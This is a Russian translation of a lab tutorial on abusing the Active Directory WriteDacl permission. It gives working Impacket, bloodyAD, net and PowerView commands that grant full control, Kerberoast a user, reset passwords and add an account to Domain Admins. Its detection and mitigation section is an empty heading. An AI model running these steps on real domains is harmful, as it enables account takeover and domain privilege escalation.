[Перевод] Злоупотребление AD-DACL: WriteDacl
В этой статье мы рассмотрим эксплуатацию Discretionary Access Control Lists (DACL) с использованием разрешения WriteDacl в Active Directory. Злоумышленники могут злоупотреблять разрешением WriteDacl, чтобы получить несанкционированный доступ или изменить разрешения в соответствии со своими нуждами.
Ниже описана настройка необходимого стенда, для моделирования таких атак, сопоставленных с MITRE ATT&CK. Также мы рассмотрим механизмы обнаружения для выявления подозрительной активности, связанной с атаками WriteDacl, и дадим практические рекомендации по устранению этих уязвимостей. Этот обзор обеспечивает специалистов по информационной безопасности критическими навыками по распознаванию и защите от таких распространенных угроз.
Содержание
Злоупотребление AD-DACL: WriteDacl
Разрешение WriteDacl
Предварительные условия
Настройка лаборатории — пользователь обладает разрешением WriteDacl на другого пользователя
I Фаза эксплуатации — пользователь обладает разрешением WriteDacl на другого пользователя
Bloodhound — поиск слабых разрешений
Метод эксплуатации — предоставление полного контроля с последующим Kerberoasting (T1558.003) или сменой пароля (T1110.001)
— Инструмент Linux Impacket — предоставление полного контроля
— Скрипт на Python для Linux — TargetedKerberoast
— Linux — смена пароля
Linux Net RPC — Samba
Linux Bloody AD
— Windows PowerShell Powerview — предоставление полного контроля
— Windows PowerShell Powerview — Kerberoasting
— Windows PowerShell Powerview — смена пароля
Настройка стенда — пользователь обладает разрешением WriteDacl на группу администраторов домена
II Этап эксплуатации — у пользователя есть разрешение WriteDacl на группу
Bloodhound — поиск опасных разрешений
Метод эксплуатации — предоставление полного контроля, за которым следует манипуляция с учетной записью (T1098)
— Инструмент Linux Impacket — предоставление полного контроля
— Linux — добавление участника в группу
Linux Net RPC — Samba
Linux Bloody AD
— Windows PowerShell Powerview — предоставление полного контроля
— Команда Windows Net — добавление участника в группу
Detection & Mitigation
Разрешение WriteDacl
Разрешение WriteDacl в Active Directory позволяет пользователям изменять дискреционный список управления доступом (DACL) объекта AD, предоставляя им возможность управлять разрешениями на уровне объектов. Злоумышленник может создать новую запись управления доступом (ACE) в DACL целевого объекта. Это может дать злоумышленнику полный контроль над целевым объектом.
Вместо того чтобы предоставлять полный контроль, тот же процесс можно использовать для разрешения объекту выполнять DCSync, добавив две ACE записи с определенными расширенными правами (DS-Replication-Get-Changes и DS-Replication-Get-Changes-All). Предоставление полного контроля приводит к такому же результату, поскольку GenericAll включает все ExtendedRights.
Разрешения WriteDacl на группу позволяют предоставить право добавлять участников в эту группу.
Разрешения WriteDacl на пользователя позволяют предоставить полный контроль над объектом пользователя.
Разрешения WriteDacl на объект компьютера позволяют предоставить полный контроль над объектом компьютера.
Разрешения WriteDacl на объект домена позволяют предоставлять возможность выполнять операцию DCSync.
Требования
— Windows Server 2019 в качестве контроллера домена Active Directory
— Kali Linux
— Инструменты: Bloodhound, Net RPC, Powerview, BloodyAD, Impacket
— Windows 10/11
Настройка лаборатории — пользователь владеет разрешением WriteDacl на другого пользователя
В этой лабораторной установке, мы создадим двух пользователей: Aarti и Komal, где пользователь Komal имеет разрешение WriteDacl на пользователя Aarti.
Создание среды AD и учетных записей пользователей
Чтобы смоделировать среду Active Directory, вам понадобится Windows Server в качестве контроллера домена (DC) и клиентская машина (Windows или Linux), на которой вы можете запускать инструменты для перечисления и эксплуатации.
Контроллер домена:
— Установите Windows Server (рекомендуется 2016 или 2019 год).
— Сделайте его контроллером домена, добавив Active Directory Domain Services.
— Настройте домен (например, ignite.local).
Учетные записи пользователей:
— Создайте две учетные записи пользователей AD с именами Aarti и Komal.
net user aarti Password@1 /add /domain
net user komal Password@1 /add /domain

Назначение привилегии «WriteDacl»:
— Откройте «Пользователи и компьютеры Active Directory» (ADUC) на контроллере домена.
— Включите отображение дополнительных функций, нажав Вид > Дополнительные функции (View > Advanced Features).
— Найдите пользователя Aarti в разделе Пользователи (Users).
— Щелкните правой кнопкой мыши на пользователя Aarti и выберите Свойства (Properties).

Перейдите на вкладку Безопасность (Security) и нажмите кнопку Добавить (Add).

В поле «Введите имя объекта для выбора» (Enter the object name to select) введите Komal, нажмите «Проверить имена» (Check Names) и затем нажмите ОК. Выберите пользователя Komal и в разделе «Разрешения» (Permissions) нажмите «Дополнительно» (Advanced).

В окне «Дополнительные параметры безопасности» (Advanced security settings) дважды щелкните на записи разрешений пользователя Komal. В разделе Permissions установите флажок для Modify permission. Примените настройки.

На данном этапе пользователь Komal имеет разрешение WriteDacl для пользователя Aarti.
I Этап эксплуатации — пользователь обладает разрешением WriteDacl на другого пользователя
BloodHound — Поиск опасных разрешений
Подтвердите привилегии с помощью BloodHound. Вы можете использовать BloodHound, чтобы проверить, что у пользователя Komal есть разрешение WriteDacl на пользователя Aarti.
bloodhound-python -u komal -p Password@1 -ns 192.168.1.3 -d ignite.local -c All

Из графического представления Bloodhound атакующий может определить подконтрольные объекты для выбранного пользователя.

Ниже видно, что пользователь Komal имеет привилегию WriteDacl на пользователя Aarti.


Метод эксплуатации — предоставление полного контроля с последующим Kerberoasting (T1558.003) или изменением пароля (T1110.001).
Инструмент Linux Impacket — получение полного контроля
В UNIX-подобных системах это можно сделать с помощью dacledit.py (Python) из набора инструментов Impacket, либо с помощью Impacket-dacledit.
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'komal' -target-dn 'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'komal':'Password@1' -dc-ip 192.168.1.3

С помощью dacledit, DACL для этого объекта успешно изменен, пользователь Komal теперь имеет полный контроль над пользователем Aarti.

Теперь, поскольку пользователь имеет полный контроль над целью, он может либо выполнить kerberoasting, либо изменить пароль без знания текущего пароля цели (ForceChangePassword).
Linux скрипт — TargetedKerberoast
В UNIX-подобных системах это можно сделать с помощью скрипта targetedKerberoast.py (Python).
./targetedKerberoast.py --dc-ip '192.168.1.3' -v -d 'ignite.local' -u 'komal' -p 'Password@1'

С помощью инструмента John the Ripper, злоумышленник может попробовать подобрать пароль.

Linux — Смена пароля
Linux Net RPC — Samba
На UNIX-подобной системе, смену пароля можно выполнить с помощью инструмента для администрирования Samba и cifs/smb клиентов — net.
net rpc password aarti 'Password@987' -U ignite.local/komal%'Password@1' -S 192.168.1.3

Linux BloodyAD
Альтернативно, это можно выполнить с помощью bloodyAD.
bloodyAD --host "192.168.1.3" -d "ignite.local" -u "komal" -p "Password@1" set password "aarti" "Password@789"

Windows PowerShell Powerview — Предоставление полного контроля
С Windows системы это можно повторить с помощью Add-DomainObjectAcl (модуль PowerView).
powershell -ep bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "aarti" -PrincipalIdentity "komal"

С помощью Add-DomainObjectAcl, DACL для этого объекта успешно изменен, пользователь Komal теперь имеет полный контроль над пользователем Aarti.

Теперь, так как пользователь имеет полный контроль над целью, он может выполнить либо kerberoasting, либо изменить пароль цели без знания текущего пароля (ForceChangePassword).
Windows PowerShell Powerview — Kerberoasting
На Windows-машинах атака может быть выполнена с помощью Set-DomainObject и Get-DomainSPNTicket (модуль PowerView):
Set-DomainObject -Identity 'aarti' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'aarti' | Select serviceprincipalname
$User = Get-DomainUser 'aarti'
$User | Get-DomainSPNTicket

Windows PowerShell Powerview — Изменение пароля
Linux Net RPC — Samba
Злоумышленник может изменить пароль пользователя, используя модуль PowerView. Это можно сделать с помощью команды Set-DomainUserPassword:
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti' -AccountPassword $NewPassword

Настройка стенда — пользователь обладает разрешением WriteDacl на группу администраторов домена
Создайте стандартную учетную запись пользователя с именем Rudra:
net user rudra Password@1 /add /domain

Теперь необходимо назначить привилегию «WriteDacl» пользователю Rudra на группу администраторов домена.
Шаги:
1. Откройте Active Directory Users and Computers (ADUC) на контроллере домена.
2. Включите отображение расширенных функций, нажав на View > Advanced Features.
3. Найдите группу Domain Admins в контейнере Users.
4. Щелкните правой кнопкой мыши по Domain Admins и перейдите в Properties.

Перейдите на вкладку Security и нажмите кнопку Add.

В поле «Enter the object name to select» введите Rudra, нажмите Check Names, а затем OK.
Выберите пользователя Rudra и в секции Permissions нажмите на кнопку Advanced.

В окне Advanced security settings дважды щелкните на запись разрешений пользователя Rudra.
В разделе Permissions установите флажок напротив Modify permission.
Примените настройки (Apply).

На данном этапе Rudra имеет права WriteDacl на группу Domain Admins, что означает, что он может добавить себя в эту группу.
II Этап эксплуатации — пользователь обладает разрешением WriteDacl на группу
Bloodhound — поиск опасных разрешений
Использование BloodHound для подтверждения привилегий: Вы можете использовать BloodHound, чтобы убедиться, что у Rudra есть разрешение WriteDacl на группу Domain Admins.
bloodhound-python -u rudra -p Password@1 -ns 192.168.1.3 -d ignite.local -c All


Ниже видим, что пользователь Rudra имеет привилегию WriteDacl на группу администраторов домена.

Метод эксплуатации — предоставление полного контроля с последующей манипуляцией с учетной записью (T1098)
Инструмент Linux Impacket — предоставление полного контроля
На UNIX подобных системах, это можно сделать с помощью Impacket’s dacledit.py (Python) или через Impacket-dacledit.
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'rudra' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'rudra':'Password@1' -dc-ip 192.168.1.3

С помощью dacledit, DACL для этого объекта успешно изменен, и пользователь rudra теперь имеет полный контроль над группой.
Linux — добавление пользователя в группу
Linux Net RPC — Samba
Атакующий может злоупотребить этим разрешением, добавив пользователя Rudra в группу Domain Admin.
net rpc group addmem "Domain Admins" rudra -U ignite.local/rudra%'Password@1' -S 192.168.1.3

Linux BloodyAD
Альтернативно это можно сделать, используя bloodyAD:
bloodyAD --host "192.168.1.3" -d "ignite.local" -u "rudra" -p "Password@1" add groupMember "Domain Admins" "rudra"

Windows PowerShell Powerview — Предоставление полного контроля
На системе Windows мы можем повторить это с помощью команды Add-DomainObjectAcl (модуль PowerView):
powershell -ep bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "rudra"

Команда Windows Net — Добавление участника в группу
Это можно сделать с помощью встроенной командной строки, используя команду net:
net group «domain admins» rudra /add /domain

Таким образом, из свойств пользователя мы видим, что Rudra стал членом группы администраторов домена.

Detection & Mitigation

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер
Habrahabr.ru прочитано 28728 раз
